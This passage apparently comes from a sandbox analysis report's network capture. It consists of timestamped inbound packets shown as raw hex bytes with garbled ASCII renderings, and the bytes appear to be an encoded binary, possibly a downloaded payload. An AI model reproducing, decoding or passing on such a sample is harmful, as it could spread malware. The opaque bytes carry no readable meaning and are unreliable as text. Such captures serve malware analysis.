2c da da da dd 35 25 25 25 c6 36 0c a4 af 6f dc da 99 ec 27 Data Ascii: Z8W0ddS'dZ8Af^)B3%%Zf^)E%%Z:6^=%%=%5`.{20ddh-/fJ!f,f)df")ff7//1$03%%%%%%'8:6f9U^)%%%Xf9U)%%%h9U,5%%%6o'
2022-06-26 07:43:09 UTC	350	IN	Data Raw: 66 3d 60 b6 5a f6 60 b6 58 e2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 0e da 5e 58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 f7 99 e2 66 27 64 20 1d c6 e0 0e e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e 20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 66 ae ea 8a fb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66 20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66 20 0d 5e e5 2d 0e a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 0d Data Ascii: f=`Z`X)f !f0>%%^X%^H)f f]^H)f e f f'fu+`f'd d fd f t)7^ -^X%-f ^]Paf d ^X%f ^-fff0h f0f d >f -f >d dX8Xd8^X%Qf0f ^-ef uf0!f7f
2022-06-26 07:43:09 UTC	352	IN	Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba 23 da da 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d e6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 0e e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da da 75 0d 2c df da da 0e b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 60 ba 23 da da 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23 da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da Data Ascii: %%%h`#%%\h uh u%%h`#uf u`Gh uh u%%}e%f u`) % %44d522e%f u%%f !uh`#uh uZu,#%%%%X%P/X%%%%h`#uhp#d (f ]Sh`# Ph`# %%%
2022-06-26 07:43:09 UTC	353	IN	Data Raw: 5e e9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f 0e e5 64 20 15 c4 e4 dc 25 25 a2 20 15 da da da da 0e e5 0e 1b 5e 58 21 25 ea a9 84 25 25 25 c4 a7 25 25 25 66 30 19 0e a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e fd 25 25 25 5e bc 1a 1b 9c 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b e6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 68 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b 8b e6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39 Data Ascii: ^.{d(d0d !^X%P/d %% ^X!%%%%%%%f01WkP-^%%%^ESf09Wkf`%%%P-^%%%\%%%+ff09Wkf`h%%%\%%%+f(!d9f0!d1geP-N )f mf0!)g%%"P-Ngf09WkUP-NE9f09
2022-06-26 07:43:09 UTC	354	IN	Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d bd da da da 7c c1 e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c 25 da 99 f8 7c c1 e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31 25 25 25 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c c1 e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 0b 1c 25 7c c1 e5 1c 25 a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 da da da 7c c1 e5 1c 25 75 0d f7 23 da da 60 e5 99 dc 9e 7c 99 0b 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31 dc 50 4f 75 77 eb e0 89 0b 1c 25 dc 66 28 2d 64 e8 8d 0b 1c 25 64 6f Data Ascii: \|%uh6f1%%%`~%\|%u8~%he%,1%%%`K^%\|%u[d)I^aI%f)Iu1f1%%%`^%\|%u#%\|%PKfQ%%%f)\|%u#`\|%u#`%%^X1POuw%f(-d%do
2022-06-26 07:43:09 UTC	356	IN	Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da 0e e5 30 8d 9f 42 65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b a1 55 6b 0e da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb 0e e5 7f 34 34 89 64 35 8d 5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 f7 da da c6 03 af 20 ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 0e f7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 c6 61 84 25 25 25 a5 99 2d 5c ef a5 25 25 25 c6 08 5e ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29 Data Ascii: d !f(f !f%5e%f 0Be%UdE %fPks`Ukf8!f ufug#`Pf -d] "^)sP44d5\Be%h f !f(f%5e% fXfPf8f8)%%%%)+\%'%%%%%E%%%e%%%^e^Ea%%%-\%%%^5f%%%e%%%^)
2022-06-26 07:43:09 UTC	357	IN	Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 c0 38 9e 30 66 11 0e e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 0b 1c 25 0e e5 7f 34 34 89 64 35 8d b9 91 65 25 9e c4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 0b 1c 25 dc 9e 8d 0b 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d 0b 1c 25 17 da 25 25 8d 0b 1c 25 ce da 25 25 8d 0b 1c 25 19 da 25 25 8d 0b 1c 25 d0 da 25 25 8d 0b 1c 25 1b da 25 25 8d 0b 1c 25 d2 da 25 25 8d 0b 1c 25 1d da 25 25 8d 0b 1c 25 d4 da 25 25 8d 0b 1c 25 1f da 25 25 8d 0b 1c 25 d6 da 25 25 8d 0b 1c 25 21 da 25 25 8d 0b 1c 25 d8 da 25 25 8d 0b 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d 0b 1c 25 05 da 25 25 8d 0b 1c 25 bc da 25 25 8d 0b 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e%8f^%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!%%%%%%#%%%%%%%%%%%%%%%%%
2022-06-26 07:43:09 UTC	358	IN	Data Raw: 25 25 25 25 25 f1 4c 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3c 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97 4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65 25 35 25 25 25 05 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25 Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye%7 @< >@DJQe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% $ Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%5%%%Le%[e%[e%[e%[e%[e%YYe%uYe%Ye%/ iDgT@Je%%%%%%%
2022-06-26 07:43:09 UTC	360	IN	Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e 99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 1e 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3c 97 44 3c 93 99 20 97 97 4a 97 66 e5 49 9d 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: [e%[e%[e%[e%[e%YYe%uYe%Ye%3 .<>F*@JRRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% JJfRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D< JfIe%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:43:09 UTC	361	IN	Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83 da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2 04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 f2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e 0c e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da da 75 8f 25 8d 25 29 25 25 0d 87 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2 da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5 Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n`P.{fffufufufu%%)%%^'6.{fffufufufu%)%%O^'6.{ffff`6
2022-06-26 07:43:09 UTC	362	IN	Data Raw: 9c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d 0a 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d a5 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 30 66 11 5e e9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c e9 d9 23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hiI)u2{.`P)If)I:6.{2,fff%hiI)u2{.`P)If)I:60f^.{fff -d f 1d !{h !uf u.td f f0!6448-%u0f\#.fh`#ufkuM
2022-06-26 07:43:09 UTC	364	IN	Data Raw: 0c e5 64 20 21 de 28 35 64 58 1d 0c e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf 6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1 0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25 25 64 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 0c b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac 0c f7 ce c9 62 b4 04 ef 4e 29 dc ac 0c f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac 0c f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da da 7f 34 66 50 fd c4 22 da da da 0c b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 f3 99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37 Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)^X%/wh A4fP"aOGaUaRD/%%%QU}Uf -Z7
2022-06-26 07:43:09 UTC	365	IN	Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e 1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21 ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 b1 65 25 de 50 11 94 de 25 25 25 ce c9 c6 08 68 50 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11 66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 b1 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65 25 24 73 6b 73 1c 73 d1 2d e5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 f9 0c f7 16 28 31 5a f8 5e d4 d8 a1 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2 Data Ascii: % %%%%%%%%Pf 1^'X'%%%^77%%%d 1u%%X5'f -uh 8'%%fX! Z%%^'N?d%%%h$e%P%%%hP855)R 1'%hAxe%8f8d !6:%%e%he%he%he%he%$skss-PUsX%((1Z^=Z?Uc%_
2022-06-26 07:43:09 UTC	366	IN	Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd 0c e5 76 b6 07 b4 48 1d 76 c6 7b d1 2d e5 99 29 61 45 99 d2 73 9e 0c e5 0c f7 d1 51 5f 29 2f 4e ea ff e8 a1 9c 1c 25 64 20 19 ff 20 19 67 c6 0f 73 9e 0c e5 0c f7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 f7 2f dc e7 5c 1f 19 dc 25 25 97 0f a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 c0 38 9e 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d 68 20 e5 0e a4 0d f5 d4 da da 66 ed 68 30 e5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f 25 8f 25 68 30 2d 68 20 e5 8c dc 0d c5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 e7 2d 25 b5 2e 7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb 0e a4 0d 9b 23 Data Ascii: 6P'%)'v%P+)vHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3kF/\%%P'6:f80f^.f%%h0-h fh0f16f81%0f^.f%%%h0-h fh0f6f8-%.{fffrf#
2022-06-26 07:43:09 UTC	368	IN	Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38 9e 66 e5 30 66 11 5e e9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75 8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25 30 66 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2d 64 67 19 34 38 9e 66 e5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13 66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8 Data Ascii: f`?f0-f!#f(-h%ff -!#68f0f.ff -ufff468f0f^.{fff -u)dP %d8 %h u%h 5%%%fh 46f8he%0f,f -^!f5d0!'%f57f(-_,f% !ef0-dg48f0ff -%POf -fe-1-f -hmf -huf -^p#f -e
2022-06-26 07:43:09 UTC	369	IN	Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d 0a d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20 19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75 30 68 30 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da 34 66 20 19 6d 5e 0d 27 97 29 99 3d c6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 d1 0b 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 0b 1c 25 0d 35 1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 f7 Data Ascii: %4%%040}4f -u0h0f 4f 4v%%0'404f -u0h0f #!4f P4%%040#4f m^')=Uf -u f04%%f -u f)`%O4%%f -u f)`%54%%04f m^'/m$mHZ04f -u f04
2022-06-26 07:43:09 UTC	370	IN	Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 d0 da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac 66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25 25 25 0d e3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da 0e e5 7f 34 34 89 64 35 8d f0 c7 65 25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75 25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5c e9 1d 23 da da 2e 7b 66 ff 66 15 0e e5 64 60 21 23 da da 0e e5 64 60 1d 23 da da 60 b6 99 e6 Data Ascii: f -u%%%%4@f+d f+%%%%~=%Nf+k%%d+'+f+]%f+%_ Pf -uf;0f 4f+]%;+7f -uh %%%4f+]%`f -#44d5e%h '%%%Lr:6f8(u(%%%u%(u(%%%%%%%%%E%%%0f\#.{ffd`!#d`#`
2022-06-26 07:43:09 UTC	372	IN	Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20 11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2 0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25 25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 0a 0d 55 ca da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20 17 8b 64 20 11 66 ae af e8 6c 0b 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e 25 25 25 66 f0 b9 0b 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76 Data Ascii: f d [fX f d f d ?fX f d f d ^X!%30#4fX'RF%f,%%%t4F^%%a^UfXP7f d f d 5f d f d fl%f>!ff;y%%%%%f%e%`v
2022-06-26 07:43:09 UTC	373	IN	Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 c0 38 e7 29 25 66 e5 2e 7b 32 2c 66 b4 66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 e5 a3 e0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2c 2e 7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 0e a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd 66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 0e a4 2c 2c 2c 2c 2c 2c 2e 7b 32 0e e5 30 8d 86 88 65 25 89 da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 e3 d5 0b 1c 25 9a 05 0b 1c 25 30 8f e6 68 20 19 75 94 b5 9c 1c 25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 e5 9c 1c 25 66 ae 6f 68 1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da 1e 5e a2 29 Data Ascii: fffw6f8)%f.{2,fff'hiI)u{2)`)I'f:60f,.{2d(!fff8-.f 5fe!fF^%Pf !f)fX:648-%0f,,,,,,.{20e%UdEd !%%%%%0h u%fohimT4f0fn0h u%foh]m{4f0fFn^)
2022-06-26 07:43:09 UTC	374	IN	Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da 75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d 0b 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 0f d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc 25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 f0 d5 4a 65 25 0d 53 a9 da da a9 e5 99 04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 e5 99 37 66 30 21 a5 a1 27 da 53 99 2d dd 0d d7 65 25 64 20 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d 0b 1c 25 0d d3 7c da da 75 0d 75 8e da da 68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9 Data Ascii: {\!%5%%PA%%h`uf`!u`P%%h`u\|%ufhd !dPh`3%%fgh`#)%%"e%d !e%d ffJe%Sf)d !f !`7f0!'S-e%d %%%h`!u\|]%fe)u\|%\|uuhpf\h`d`
2022-06-26 07:43:09 UTC	376	IN	Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 e6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05 7c 0d aa 1c 25 0d f2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd 0e e5 7f 34 34 89 64 35 8d 06 92 65 25 68 20 05 0d e8 64 da da 68 20 21 0d e0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 c0 38 9e 64 f1 64 39 49 66 48 25 c4 56 a7 da da 9e 66 e5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 e5 66 e8 e1 f3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 e5 5a f0 99 2e 08 e0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 e0 4c da da 1a 5e 0d 27 97 0e 99 12 c6 22 18 bb 25 25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 0a 08 d8 Data Ascii: f !d dP dX %h u'h0\|%f(\|Re%!f44d5e%h dh !d6f:6f8dd9IfH%Vf0fah(-^)f0-8)%ff%\|]e%#! f%%%ZQ4%%Z.%%0b%%%amm0L^'"%%Zn%%Mmm;
